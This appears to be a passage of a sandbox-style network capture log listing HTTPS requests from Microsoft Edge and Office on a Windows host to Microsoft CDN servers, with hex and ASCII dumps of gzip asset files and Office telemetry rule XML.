2024-11-22 22:06:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49830	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:34 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:35 UTC	557	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 671cbce7-301e-0064-5e2a-3dd8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220635Z-178bfbc474bp8mkvhC1NYCzqnn00000003gg000000000h55 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:35 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49829	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:36 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:36 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 24cbd8df-801e-0076-792a-3decbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220635Z-174c587ffdftv9hphC1TEBm29w00000001v000000000ubrn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:36 UTC	15821	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-22 22:06:36 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3af7945d-501e-0016-1564-3b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220635Z-178bfbc474btrnf9hC1NYCb80g00000003ng00000000rbs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 